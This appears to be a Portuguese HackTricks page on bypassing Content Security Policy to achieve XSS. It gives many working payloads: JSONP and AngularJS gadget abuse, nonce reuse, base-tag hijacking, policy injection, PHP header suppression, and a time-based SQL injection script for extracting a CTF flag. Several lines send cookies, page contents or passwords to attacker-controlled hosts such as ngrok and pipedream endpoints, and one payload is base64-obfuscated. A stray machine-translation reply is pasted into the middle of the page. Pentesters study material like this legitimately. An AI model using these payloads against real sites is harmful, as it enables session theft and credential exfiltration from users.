Content Security Policy (CSP) Bypass

Reading time: 34 minutes

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks

O que é CSP

Content Security Policy (CSP) é reconhecida como uma tecnologia de navegador, destinada principalmente a proteger contra ataques como cross-site scripting (XSS). Ela funciona definindo e detalhando caminhos e fontes das quais recursos podem ser carregados com segurança pelo navegador. Esses recursos abrangem uma variedade de elementos, como imagens, frames e JavaScript. Por exemplo, uma política pode permitir o carregamento e a execução de recursos do mesmo domínio (self), incluindo recursos inline e a execução de código em string através de funções como eval, setTimeout, ou setInterval.

A implementação do CSP é feita por meio de cabeçalhos de resposta ou incorporando elementos meta na página HTML. Seguindo essa política, os navegadores aplicam proativamente essas determinações e bloqueiam imediatamente quaisquer violações detectadas.

  • Implementado via cabeçalho de resposta:
Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com; style-src 'self';
  • Implementado via meta tag:
xml
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-src https://*; child-src 'none';">

Cabeçalhos

O CSP pode ser aplicado ou monitorado usando estes cabeçalhos:

  • Content-Security-Policy: Aplica o CSP; o navegador bloqueia quaisquer violações.
  • Content-Security-Policy-Report-Only: Usado para monitoramento; reporta violações sem bloqueá-las. Ideal para testar em ambientes de pré-produção.

Definindo Recursos

O CSP restringe as origens para carregamento de conteúdo ativo e passivo, controlando aspectos como a execução de JavaScript inline e o uso de eval(). Um exemplo de política é:

bash
default-src 'none';
img-src 'self';
script-src 'self' https://code.jquery.com;
style-src 'self';
report-uri /cspreport
font-src 'self' https://addons.cdn.mozilla.net;
frame-src 'self' https://ic.paypal.com https://paypal.com;
media-src https://videos.cdn.mozilla.net;
object-src 'none';

Diretivas

  • script-src: Permite fontes específicas para JavaScript, incluindo URLs, scripts inline e scripts acionados por manipuladores de evento ou folhas de estilo XSLT.
  • default-src: Define uma política padrão para buscar recursos quando diretivas específicas de fetch estiverem ausentes.
  • child-src: Especifica recursos permitidos para web workers e conteúdos de frames embutidos.
  • connect-src: Restringe URLs que podem ser carregadas usando interfaces como fetch, WebSocket, XMLHttpRequest.
  • frame-src: Restringe URLs para frames.
  • frame-ancestors: Especifica quais fontes podem incorporar a página atual, aplicável a elementos como <frame>, <iframe>, <object>, <embed>, e <applet>.
  • img-src: Define fontes permitidas para imagens.
  • font-src: Especifica fontes válidas para fonts carregadas usando @font-face.
  • manifest-src: Define fontes permitidas de arquivos de manifest de aplicações.
  • media-src: Define fontes permitidas para carregar objetos de mídia.
  • object-src: Define fontes permitidas para elementos <object>, <embed>, e <applet>.
  • base-uri: Especifica URLs permitidas para carregamento usando elementos <base>.
  • form-action: Lista endpoints válidos para submissões de formulários.
  • plugin-types: Restringe os tipos mime que uma página pode invocar.
  • upgrade-insecure-requests: Instrui browsers a reescrever URLs HTTP para HTTPS.
  • sandbox: Aplica restrições semelhantes ao atributo sandbox de um <iframe>.
  • report-to: Especifica um grupo para o qual um relatório será enviado se a política for violada.
  • worker-src: Especifica fontes válidas para scripts Worker, SharedWorker ou ServiceWorker.
  • prefetch-src: Especifica fontes válidas para recursos que serão fetched ou prefetched.
  • navigate-to: Restringe as URLs para as quais um documento pode navegar por qualquer meio (a, form, window.location, window.open, etc.)

Fontes

  • *: Permite todas as URLs exceto aquelas com esquemas data:, blob:, filesystem:.
  • 'self': Permite carregamento a partir do mesmo domínio.
  • 'data': Permite recursos serem carregados via o esquema data (ex.: imagens codificadas em Base64).
  • 'none': Bloqueia carregamento de qualquer fonte.
  • 'unsafe-eval': Permite o uso de eval() e métodos similares, não recomendado por razões de segurança.
  • 'unsafe-hashes': Habilita manipuladores de evento inline específicos.
  • 'unsafe-inline': Permite o uso de recursos inline como <script> ou <style>, não recomendado por razões de segurança.
  • 'nonce': Uma whitelist para scripts inline específicos usando um nonce criptográfico (número usado uma vez).
  • If you have JS limited execution it's possible to get a used nonce inside the page with doc.defaultView.top.document.querySelector("[nonce]") and then reuse it to load a malicious script (if strict-dynamic is used, any allowed source can load new sources so this isn't needed), like in:
Carregar script reutilizando nonce
html
<!-- From https://joaxcar.com/blog/2024/02/19/csp-bypass-on-portswigger-net-using-google-script-resources/ -->
<img
src="x"
ng-on-error='
doc=$event.target.ownerDocument;
a=doc.defaultView.top.document.querySelector("[nonce]");
b=doc.createElement("script");
b.src="//example.com/evil.js";
b.nonce=a.nonce; doc.body.appendChild(b)' />
  • 'sha256-<hash>': Whitelists scripts com um hash sha256 específico.
  • 'strict-dynamic': Permite carregar scripts de qualquer origem se eles tiverem sido whitelisted por um nonce ou hash.
  • 'host': Especifica um host específico, como example.com.
  • https:: Restringe URLs àquelas que usam HTTPS.
  • blob:: Permite que recursos sejam carregados de Blob URLs (por exemplo, Blob URLs criadas via JavaScript).
  • filesystem:: Permite que recursos sejam carregados do filesystem.
  • 'report-sample': Inclui uma amostra do código que violou no relatório de violação (útil para depuração).
  • 'strict-origin': Semelhante a 'self' mas garante que o nível de segurança do protocolo das fontes corresponda ao do documento (apenas origens seguras podem carregar recursos de origens seguras).
  • 'strict-origin-when-cross-origin': Envia URLs completas ao fazer same-origin requests, mas envia apenas a origem quando a request é cross-origin.
  • 'unsafe-allow-redirects': Permite que recursos sejam carregados que irão imediatamente redirecionar para outro recurso. Não recomendado pois enfraquece a segurança.

Unsafe CSP Rules

'unsafe-inline'

yaml
Content-Security-Policy: script-src https://google.com 'unsafe-inline';

Payload funcional: "/><script>alert(1);</script>

self + 'unsafe-inline' via Iframes

CSP bypass: self + 'unsafe-inline' with Iframes

'unsafe-eval'

caution

Isto não está funcionando; para mais informações check this.

yaml
Content-Security-Policy: script-src https://google.com 'unsafe-eval';

Payload funcional:

html
<script src="data:;base64,YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=="></script>

strict-dynamic

Se, de alguma forma, você conseguir fazer com que um código JS permitido crie uma nova script tag no DOM com seu código JS — porque um script permitido está criando-a — a nova script tag será permitida e executada.

Wildcard (*)

yaml
Content-Security-Policy: script-src 'self' https://google.com https: data *;

Payload funcional:

html
"/>'><script src=https://attacker-website.com/evil.js></script>
"/>'><script src=data:text/javascript,alert(1337)></script>

Ausência de object-src e default-src

[!CAUTION] > Parece que isso não está mais funcionando

yaml
Content-Security-Policy: script-src 'self' ;

Payloads que funcionam:

html
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>
">'><object type="application/x-shockwave-flash" data='https: //ajax.googleapis.com/ajax/libs/yui/2.8.0 r4/build/charts/assets/charts.swf?allowedDomain=\"})))}catch(e) {alert(1337)}//'>
<param name="AllowScriptAccess" value="always"></object>

Envio de Arquivos + 'self'

yaml
Content-Security-Policy: script-src 'self';  object-src 'none' ;

Se você conseguir fazer upload de um arquivo JS, você pode contornar este CSP:

Payload funcional:

html
"/>'><script src="/uploads/picture.png.js"></script>

However, it's highly probable that the server is validating the uploaded file and will only allow you to upload determined type of files.

Moreover, even if you could upload a JS code inside a file using an extension accepted by the server (like: script.png) this won't be enough because some servers like apache server select MIME type of the file based on the extension and browsers like Chrome will reject to execute Javascript code inside something that should be an image. "Hopefully", there are mistakes. For example, from a CTF I learnt that Apache não reconhece the .wave extension, therefore it doesn't serve it with a MIME type like audio/*.

From here, if you find a XSS and a file upload, and you manage to find a misinterpreted extension, you could try to upload a file with that extension and the Content of the script. Or, if the server is checking the correct format of the uploaded file, create a polyglot (some polyglot examples here).

Form-action

If not possible to inject JS, you could still try to exfiltrate for example credentials injecting a form action (and maybe expecting password managers to auto-fill passwords). You can find an example in this report. Also, notice that default-src does not cover form actions.

warning

For some of the following payload unsafe-eval is not even needed.

yaml
Content-Security-Policy: script-src https://cdnjs.cloudflare.com 'unsafe-eval';

Carregar uma versão vulnerável do angular e executar JS arbitrário:

xml
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.4.6/angular.js"></script>
<div ng-app> {{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1);//');}} </div>


"><script src="https://cdnjs.cloudflare.com/angular.min.js"></script> <div ng-app ng-csp>{{$eval.constructor('alert(1)')()}}</div>


"><script src="https://cdnjs.cloudflare.com/angularjs/1.1.3/angular.min.js"> </script>
<div ng-app ng-csp id=p ng-click=$event.view.alert(1337)>


With some bypasses from: https://blog.huli.tw/2022/08/29/en/intigriti-0822-xss-author-writeup/
<script/src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js></script>
<iframe/ng-app/ng-csp/srcdoc="
<script/src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.8.0/angular.js>
</script>
<img/ng-app/ng-csp/src/ng-o{{}}n-error=$event.target.ownerDocument.defaultView.alert($event.target.ownerDocument.domain)>"
>

Payloads usando Angular + uma biblioteca com funções que retornam o objeto window (check out this post):

tip

O post mostra que você poderia carregar todas as bibliotecas de cdn.cloudflare.com (ou qualquer outro repositório permitido de bibliotecas JS), executar todas as funções adicionadas de cada biblioteca, e verificar quais funções de quais bibliotecas retornam o objeto window.

html
<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.8/angular.js" /></script>
<div ng-app ng-csp>
{{$on.curry.call().alert(1)}}
{{[].empty.call().alert([].empty.call().document.domain)}}
{{ x = $on.curry.call().eval("fetch('http://localhost/index.php').then(d => {})") }}
</div>


<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js"></script>
<div ng-app ng-csp>
{{$on.curry.call().alert('xss')}}
</div>


<script src="https://cdnjs.cloudflare.com/ajax/libs/mootools/1.6.0/mootools-core.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js"></script>
<div ng-app ng-csp>
{{[].erase.call().alert('xss')}}
</div>

Angular XSS a partir de um nome de classe:

html
<div ng-app>
<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
</div>

Abusing google recaptcha JS code

De acordo com this CTF writeup você pode abusar de https://www.google.com/recaptcha/ dentro de uma CSP para executar código JS arbitrário contornando o CSP:

html
<div
ng-controller="CarouselController as c"
ng-init="c.init()"
>
&#91[c.element.ownerDocument.defaultView.parent.location="http://google.com?"+c.element.ownerDocument.cookie]]
<div carousel><div slides></div></div>

<script src="https://www.google.com/recaptcha/about/js/main.min.js"></script>

Mais payloads from this writeup:

html
<script src="https://www.google.com/recaptcha/about/js/main.min.js"></script>

<!-- Trigger alert -->
<img src="x" ng-on-error="$event.target.ownerDocument.defaultView.alert(1)" />

<!-- Reuse nonce -->
<img
src="x"
ng-on-error='
doc=$event.target.ownerDocument;
a=doc.defaultView.top.document.querySelector("[nonce]");
b=doc.createElement("script");
b.src="//example.com/evil.js";
b.nonce=a.nonce; doc.body.appendChild(b)' />

Abusando de www.google.com para open redirect

A seguinte URL redireciona para example.com (de here):

https://www.google.com/amp/s/example.com/

Abusando *.google.com/script.google.com

É possível abusar do Google Apps Script para receber informações em uma página dentro de script.google.com. Como foi feito neste relatório.

Endpoints de terceiros + JSONP

http
Content-Security-Policy: script-src 'self' https://www.google.com https://www.youtube.com; object-src 'none';

Cenários como este em que script-src está definido como self e um domínio específico que está whitelisted podem ser contornados usando JSONP. JSONP endpoints permitem métodos de callback inseguros que permitem a um atacante realizar XSS, working payload:

html
"><script src="https://www.google.com/complete/search?client=chrome&q=hello&callback=alert#1"></script>
"><script src="/api/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>
html
https://www.youtube.com/oembed?callback=alert;
<script src="https://www.youtube.com/oembed?url=http://www.youtube.com/watch?v=bDOYN-6gdRE&format=json&callback=fetch(`/profile`).then(function f1(r){return r.text()}).then(function f2(txt){location.href=`https://b520-49-245-33-142.ngrok.io?`+btoa(txt)})"></script>
html
<script type="text/javascript" crossorigin="anonymous" src="https://accounts.google.com/o/oauth2/revoke?callback=eval(atob(%27KGZ1bmN0aW9uKCl7CiBsZXQgdnIgPSAoKT0%2Be3dpdGgobmV3IHRvcFsnVydbJ2NvbmNhdCddKCdlYicsJ1MnLCdjZycmJidvY2snfHwncGsnLCdldCcpXSgndydbJ2NvbmNhdCddKCdzcycsJzpkZWZkZWYnLCdsaScsJ3ZlY2hhdGknLCduYycsJy4nfHwnOycsJ25ldHdvcmtkZWZjaGF0cGlwZWRlZjAyOWRlZicpWydzcGxpdCddKCdkZWYnKVsnam9pbiddKCIvIikpKShvbm1lc3NhZ2U9KGUpPT5uZXcgRnVuY3Rpb24oYXRvYihlWydkYXRhJ10pKS5jYWxsKGVbJ3RhcmdldCddKSl9O25hdmlnYXRvclsnd2ViZHJpdmVyJ118fChsb2NhdGlvblsnaHJlZiddWydtYXRjaCddKCdjaGVja291dCcpJiZ2cigpKTsKfSkoKQ%3D%3D%27));"></script>

JSONBee contém endpoints JSONP prontos para uso para CSP bypass de diferentes websites.

A mesma vulnerabilidade ocorrerá se o endpoint confiável contiver um Open Redirect, porque se o endpoint inicial for confiável, os redirecionamentos serão confiáveis.

Abusos de terceiros

Como descrito no following post, existem muitos domínios de terceiros que podem ser permitidos em algum lugar no CSP e que podem ser abusados para exfiltrate data ou execute JavaScript code. Alguns desses terceiros são:

EntidadeDomínio permitidoCapacidades
Facebookwww.facebook.com, *.facebook.comExfil
Hotjar*.hotjar.com, ask.hotjar.ioExfil
Jsdelivr*.jsdelivr.com, cdn.jsdelivr.netExec
Amazon CloudFront*.cloudfront.netExfil, Exec
Amazon AWS*.amazonaws.comExfil, Exec
Azure Websites*.azurewebsites.net, *.azurestaticapps.netExfil, Exec
Salesforce Heroku*.herokuapp.comExfil, Exec
Google Firebase*.firebaseapp.comExfil, Exec

Se você encontrar qualquer um dos domínios permitidos no CSP do seu alvo, há boas chances de que você possa bypass the CSP registrando-se no serviço de terceiros e, assim, exfiltrate data para esse serviço ou execute code.

Por exemplo, se você encontrar o seguinte CSP:

Content-Security-Policy​: default-src 'self’ www.facebook.com;​

ou

Content-Security-Policy​: connect-src www.facebook.com;​

You should be able to exfiltrate data, similarly as it has always be done with Google Analytics/Google Tag Manager. In this case, you follow these general steps:

  1. Crie uma conta no Facebook Developer aqui.
  2. Crie um novo app "Facebook Login" e selecione "Website".
  3. Vá para "Settings -> Basic" e obtenha seu "App ID"
  4. No site alvo do qual você quer exfiltrate data, é possível fazê-lo usando diretamente o gadget do Facebook SDK "fbq" através de um "customEvent" e o data payload.
  5. Vá ao "Event Manager" do seu App e selecione a aplicação que você criou (observe que o event manager pode ser encontrado numa URL semelhante a esta: https://www.facebook.com/events_manager2/list/pixel/[app-id]/test_events
  6. Selecione a aba "Test Events" para ver os eventos sendo enviados pelo seu web site.

Then, on the victim side, you execute the following code to initialize the Facebook tracking pixel to point to the attacker's Facebook developer account app-id and issue a custom event like this:

JavaScript
fbq('init', '1279785999289471');​ // this number should be the App ID of the attacker's Meta/Facebook account
fbq('trackCustom', 'My-Custom-Event',{​
data: "Leaked user password: '"+document.getElementById('user-password').innerText+"'"​
});

Quanto aos outros sete domínios de terceiros especificados na tabela anterior, existem muitas outras maneiras de abusar deles. Consulte o blog post mencionado anteriormente para explicações adicionais sobre outros abusos de terceiros.

Bypass via RPO (Relative Path Overwrite)

Além do redirecionamento mencionado anteriormente para bypassar restrições de caminho, existe outra técnica chamada Relative Path Overwrite (RPO) que pode ser usada em alguns servidores.

Por exemplo, se o CSP permite o caminho https://example.com/scripts/react/, ele pode ser bypassado da seguinte forma:

html
<script src="https://example.com/scripts/react/..%2fangular%2fangular.js"></script>

O navegador acabará carregando https://example.com/scripts/angular/angular.js.

Isso funciona porque, para o navegador, você está carregando um arquivo chamado ..%2fangular%2fangular.js localizado em https://example.com/scripts/react/, o que é compatível com a CSP.

Então, ele vai decodificá-lo, efetivamente requisitando https://example.com/scripts/react/../angular/angular.js, que é equivalente a https://example.com/scripts/angular/angular.js.

Ao explorar essa inconsistência na interpretação de URLs entre o navegador e o servidor, as regras de path podem ser contornadas.

A solução é não tratar %2f como / no lado do servidor, garantindo interpretação consistente entre o navegador e o servidor para evitar esse problema.

Online Example: https://jsbin.com/werevijewa/edit?html,output

Iframes JS execution

Iframes in XSS, CSP and SOP

missing base-uri

Se a diretiva base-uri estiver ausente, você pode abusar disso para realizar uma dangling markup injection.

Além disso, se a página estiver carregando um script usando um caminho relativo (como <script src="/js/app.js">) e usando um Nonce, você pode abusar da base tag para fazê-la carregar o script do seu próprio servidor, conseguindo um XSS.
Se a página vulnerável for carregada com httpS, use uma URL httpS na base.

html
<base href="https://www.attacker.com/" />

AngularJS events

Uma política específica conhecida como Content Security Policy (CSP) pode restringir eventos JavaScript. No entanto, o AngularJS introduz eventos personalizados como alternativa. Dentro de um evento, o AngularJS fornece um objeto único $event, que referencia o objeto de evento nativo do browser. Esse objeto $event pode ser explorado para contornar a CSP. Notavelmente, no Chrome, o objeto $event/event possui um atributo path, contendo um array de objetos envolvidos na cadeia de execução do evento, com o objeto window sempre posicionado no final. Essa estrutura é crucial para táticas de escape do sandbox.

Ao direcionar esse array para o filtro orderBy, é possível iterar sobre ele, aproveitando o elemento terminal (o objeto window) para acionar uma função global como alert(). O trecho de código demonstrado abaixo elucida esse processo:

xml
<input%20id=x%20ng-focus=$event.path|orderBy:%27(z=alert)(document.cookie)%27>#x
?search=<input id=x ng-focus=$event.path|orderBy:'(z=alert)(document.cookie)'>#x

Este trecho destaca o uso da diretiva ng-focus para disparar o evento, empregando $event.path|orderBy para manipular o array path, e aproveitando o objeto window para executar a função alert(), revelando assim document.cookie.

Encontre outros Angular bypasses em https://portswigger.net/web-security/cross-site-scripting/cheat-sheet

AngularJS e whitelisted domain

Content-Security-Policy: script-src 'self' ajax.googleapis.com; object-src 'none' ;report-uri /Report-parsing-url;

Uma política CSP que whitelists domínios para carregamento de scripts em uma aplicação Angular JS pode ser contornada através da invocação de callback functions e de certas classes vulneráveis. Mais informações sobre esta técnica podem ser encontradas em um guia detalhado disponível neste git repository.

Working payloads:

html
<script src=//ajax.googleapis.com/ajax/services/feed/find?v=1.0%26callback=alert%26context=1337></script>
ng-app"ng-csp ng-click=$event.view.alert(1337)><script src=//ajax.googleapis.com/ajax/libs/angularjs/1.0.8/angular.js></script>

<!-- no longer working -->
<script src="https://www.googleapis.com/customsearch/v1?callback=alert(1)">

Outros endpoints de execução arbitrária JSONP podem ser encontrados em here (alguns deles foram excluídos ou corrigidos)

Bypass via Redirecionamento

O que acontece quando o CSP encontra um redirecionamento do lado do servidor? Se o redirecionamento levar para uma origem diferente que não é permitida, ele ainda falhará.

No entanto, de acordo com a descrição em CSP spec 4.2.2.3. Paths and Redirects, se o redirecionamento levar a um caminho diferente, ele pode bypassar as restrições originais.

Aqui está um exemplo:

html
<!DOCTYPE html>
<html>
<head>
<meta
http-equiv="Content-Security-Policy"
content="script-src http://localhost:5555 https://www.google.com/a/b/c/d" />
</head>
<body>
<div id="userContent">
<script src="https://https://www.google.com/test"></script>
<script src="https://https://www.google.com/a/test"></script>
<script src="http://localhost:5555/301"></script>
</div>
</body>
</html>

Se a CSP estiver definida como https://www.google.com/a/b/c/d, visto que o caminho é considerado, ambos os scripts /test e /a/test serão bloqueados pela CSP.

No entanto, o final http://localhost:5555/301 será redirecionado no lado do servidor para https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)//. Como é um redirecionamento, o caminho não é considerado, e o script pode ser carregado, assim contornando a restrição de caminho.

Com este redirecionamento, mesmo que o caminho seja especificado completamente, ele ainda será contornado.

Portanto, a melhor solução é garantir que o site não possua vulnerabilidades de open redirect e que não existam domínios que possam ser explorados nas regras de CSP.

Bypass CSP with dangling markup

Read how here.

'unsafe-inline'; img-src *; via XSS

default-src 'self' 'unsafe-inline'; img-src *;

'unsafe-inline' significa que você pode executar qualquer script dentro do código (XSS pode executar código) e img-src * significa que você pode usar na página qualquer imagem de qualquer recurso.

Você pode contornar esse CSP exfiltrando os dados via imagens (neste caso o XSS abusa de um CSRF onde uma página acessível pelo bot contém um SQLi, e extrai a flag via uma imagem):

javascript
<script>
fetch('http://x-oracle-v0.nn9ed.ka0labs.org/admin/search/x%27%20union%20select%20flag%20from%20challenge%23').then(_=>_.text()).then(_=>new
Image().src='http://PLAYER_SERVER/?'+_)
</script>

From: https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle

Você também pode abusar dessa configuração para carregar código javascript inserido dentro de uma imagem. Se, por exemplo, a página permite carregar imagens do Twitter. Você poderia criar uma imagem especial, fazer upload dela para o Twitter e abusar do "unsafe-inline" para executar um código JS (como um XSS regular) que irá carregar a imagem, extrair o JS dela e executar isso: https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/

Com Service Workers

A função dos Service workers importScripts não é limitada pelo CSP:

Abusing Service Workers

Policy Injection

Research: https://portswigger.net/research/bypassing-csp-with-policy-injection

Chrome

Se um parâmetro enviado por você está sendo colado dentro da declaração da política, então você poderia alterar a política de forma que a torne inútil. Você poderia permitir script 'unsafe-inline' com qualquer um destes bypasses:

bash
script-src-elem *; script-src-attr *
script-src-elem 'unsafe-inline'; script-src-attr 'unsafe-inline'

Porque esta diretiva vai sobrescrever as diretrizes script-src existentes.
You can find an example here: http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=%3Bscript-src-elem+*&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E

Edge

No Edge é muito mais simples. Se você conseguir adicionar na CSP apenas isto: ;_ Edge iria descartar toda a policy.
Example: http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;_&y=%3Cscript%3Ealert(1)%3C/script%3E

img-src *; via XSS (iframe) - Time attack

Note a ausência da diretiva 'unsafe-inline'
Desta vez você pode fazer a vítima carregar uma página sob seu controle via XSS com um <iframe. Desta vez você vai fazer a vítima acessar a página de onde quer extrair informação (CSRF). Você não pode acessar o conteúdo da página, mas se de alguma forma você puder controlar o tempo que a página demora a carregar você pode extrair a informação que precisa.

Desta vez um flag vai ser extraído: sempre que um char for adivinhado corretamente via SQLi a resposta leva mais tempo devido à função sleep. Então, você será capaz de extrair o flag:

html
<!--code from https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle -->
<iframe name="f" id="g"></iframe> // The bot will load an URL with the payload
<script>
let host = "http://x-oracle-v1.nn9ed.ka0labs.org"
function gen(x) {
x = escape(x.replace(/_/g, "\\_"))
return `${host}/admin/search/x'union%20select(1)from%20challenge%20where%20flag%20like%20'${x}%25'and%201=sleep(0.1)%23`
}

function gen2(x) {
x = escape(x)
return `${host}/admin/search/x'union%20select(1)from%20challenge%20where%20flag='${x}'and%201=sleep(0.1)%23`
}

async function query(word, end = false) {
let h = performance.now()
f.location = end ? gen2(word) : gen(word)
await new Promise((r) => {
g.onload = r
})
let diff = performance.now() - h
return diff > 300
}

let alphabet = "_abcdefghijklmnopqrstuvwxyz0123456789".split("")
let postfix = "}"

async function run() {
let prefix = "nn9ed{"
while (true) {
let i = 0
for (i; i < alphabet.length; i++) {
let c = alphabet[i]
let t = await query(prefix + c) // Check what chars returns TRUE or FALSE
console.log(prefix, c, t)
if (t) {
console.log("FOUND!")
prefix += c
break
}
}
if (i == alphabet.length) {
console.log("missing chars")
break
}
let t = await query(prefix + "}", true)
if (t) {
prefix += "}"
break
}
}
new Image().src = "http://PLAYER_SERVER/?" + prefix //Exfiltrate the flag
console.log(prefix)
}

run()
</script>

Via Bookmarklets

Este ataque envolve algum social engineering onde o atacante convinces the user to drag and drop a link over the bookmarklet of the browser. This bookmarklet would contain malicious javascript code that when drag&dropped or clicked would be executed in the context of the current web window, bypassing CSP and allowing to steal sensitive information such as cookies or tokens.

For more information check the original report here.

CSP bypass by restricting CSP

In this CTF writeup, CSP is bypassed by injecting inside an allowed iframe a more restrictive CSP that disallowed to load a specific JS file that, then, via prototype pollution or dom clobbering allowed to abuse a different script to load an arbitrary script.

Você pode restrict a CSP of an Iframe com o csp attribute:

html
<iframe
src="https://biohazard-web.2023.ctfcompetition.com/view/[bio_id]"
csp="script-src https://biohazard-web.2023.ctfcompetition.com/static/closure-library/ https://biohazard-web.2023.ctfcompetition.com/static/sanitizer.js https://biohazard-web.2023.ctfcompetition.com/static/main.js 'unsafe-inline' 'unsafe-eval'"></iframe>

In this CTF writeup, foi possível via HTML injection restringir mais uma CSP de modo que um script que prevenia CSTI foi desativado e, portanto, a vulnerability tornou-se explorável.
CSP pode ser tornada mais restritiva usando HTML meta tags e inline scripts podem ser desabilitados removendo a entrada que permite o seu nonce e habilitar um script inline específico via sha:

html
<meta
http-equiv="Content-Security-Policy"
content="script-src 'self'
'unsafe-eval' 'strict-dynamic'
'sha256-whKF34SmFOTPK4jfYDy03Ea8zOwJvqmz%2boz%2bCtD7RE4='
'sha256-Tz/iYFTnNe0de6izIdG%2bo6Xitl18uZfQWapSbxHE6Ic=';" />

JS exfiltration com Content-Security-Policy-Report-Only

Se você conseguir fazer com que o servidor responda com o header Content-Security-Policy-Report-Only com um valor controlado por você (talvez por causa de um CRLF), você poderia fazê-lo apontar para o seu servidor e, se você envolver o conteúdo JS que deseja exfiltrar com <script> e, como é altamente provável que unsafe-inline não seja permitido pelo CSP, isso irá disparar um erro de CSP e parte do script (contendo a informação sensível) será enviada para o servidor pelo Content-Security-Policy-Report-Only.

Para um exemplo veja este writeup de CTF.

CVE-2020-6519

javascript
document.querySelector("DIV").innerHTML =
'<iframe src=\'javascript:var s = document.createElement("script");s.src = "https://pastebin.com/raw/dw5cWGK6";document.body.appendChild(s);\'></iframe>'

Leaking Information with CSP and Iframe

  • An iframe is created that points to a URL (let's call it https://example.redirect.com) which is permitted by CSP.
  • This URL then redirects to a secret URL (e.g., https://usersecret.example2.com) that is not allowed by CSP.
  • By listening to the securitypolicyviolation event, one can capture the blockedURI property. This property reveals the domain of the blocked URI, leaking the secret domain to which the initial URL redirected.

It's interesting to note that browsers like Chrome and Firefox have different behaviors in handling iframes with respect to CSP, leading to potential leakage of sensitive information due to undefined behavior.

Another technique involves exploiting the CSP itself to deduce the secret subdomain. This method relies on a binary search algorithm and adjusting the CSP to include specific domains that are deliberately blocked. For example, if the secret subdomain is composed of unknown characters, you can iteratively test different subdomains by modifying the CSP directive to block or allow these subdomains. Here’s a snippet showing how the CSP might be set up to facilitate this method:

markdown
img-src https://chall.secdriven.dev https://doc-1-3213.secdrivencontent.dev https://doc-2-3213.secdrivencontent.dev ... https://doc-17-3213.secdriven.dev

Monitorando quais requests são bloqueadas ou permitidas pela CSP, é possível reduzir os caracteres possíveis no subdomínio secreto, eventualmente descobrindo a URL completa.

Ambos os métodos exploram as nuances da implementação da CSP e do comportamento nos navegadores, demonstrando como políticas aparentemente seguras podem inadvertidamente leak informação sensível.

Trick from here.

Tecnologias inseguras para contornar a CSP

PHP Errors when too many params

De acordo com a last technique commented in this video, enviar parâmetros demais (1001 GET parameters embora você também possa fazer com POST params e mais que 20 files). Qualquer definido header() no código web PHP won't be sent por causa do erro que isso irá disparar.

PHP response buffer overload

PHP é conhecido por bufferizar a resposta em 4096 bytes por padrão. Portanto, se o PHP estiver exibindo um warning, ao fornecer dados suficientes dentro dos warnings, a resposta será enviada antes do cabeçalho CSP, causando que o header seja ignorado.\
Então, a técnica consiste basicamente em preencher o buffer de resposta com warnings para que o cabeçalho CSP não seja enviado.

Idea de this writeup.

Desativar CSP via max_input_vars (headers already sent)

Como headers devem ser enviados antes de qualquer output, avisos emitidos pelo PHP podem invalidar chamadas posteriores a header(). Se a entrada do usuário exceder max_input_vars, o PHP lança um startup warning primeiro; qualquer header('Content-Security-Policy: ...') subsequente irá falhar com “headers already sent”, efetivamente desabilitando a CSP e permitindo XSS reflexivo que seria bloqueado.

php
<?php
header("Content-Security-Policy: default-src 'none';");
echo $_GET['xss'];

Você não colou o conteúdo a ser traduzido. Por favor, cole aqui o texto do arquivo (por exemplo, src/pentesting-web/content-security-policy-csp-bypass/README.md) e eu farei a tradução para Português mantendo exatamente a mesma sintaxe Markdown/HTML e as regras que indicou.

bash
# CSP in place → payload blocked by browser
curl -i "http://orange.local/?xss=<svg/onload=alert(1)>"

# Exceed max_input_vars to force warnings before header() → CSP stripped
curl -i "http://orange.local/?xss=<svg/onload=alert(1)>&A=1&A=2&...&A=1000"
# Warning: PHP Request Startup: Input variables exceeded 1000 ...
# Warning: Cannot modify header information - headers already sent

Reescrever Página de Erro

De acordo com this writeup, parece que foi possível bypass a proteção CSP carregando uma página de erro (potencialmente sem CSP) e reescrevendo seu conteúdo.

javascript
a = window.open("/" + "x".repeat(4100))
setTimeout(function () {
a.document.body.innerHTML = `<img src=x onerror="fetch('https://filesharing.m0lec.one/upload/ffffffffffffffffffffffffffffffff').then(x=>x.text()).then(x=>fetch('https://enllwt2ugqrt.x.pipedream.net/'+x))">`
}, 1000)

SOME + 'self' + wordpress

SOME é uma técnica que abusa de um XSS (ou XSS altamente limitado) em um endpoint de uma página para abusar outros endpoints da mesma origem. Isso é feito carregando o endpoint vulnerável a partir de uma página do atacante e então atualizando a página do atacante para o endpoint real na mesma origem que você quer abusar. Dessa forma o endpoint vulnerável pode usar o objeto opener no payload para acessar o DOM do endpoint real a ser abusado. Para mais informações, veja:

SOME - Same Origin Method Execution

Além disso, wordpress tem um endpoint JSONP em /wp-json/wp/v2/users/1?_jsonp=data que irá refletir os dados enviados na saída (com a limitação de apenas letras, números e pontos).

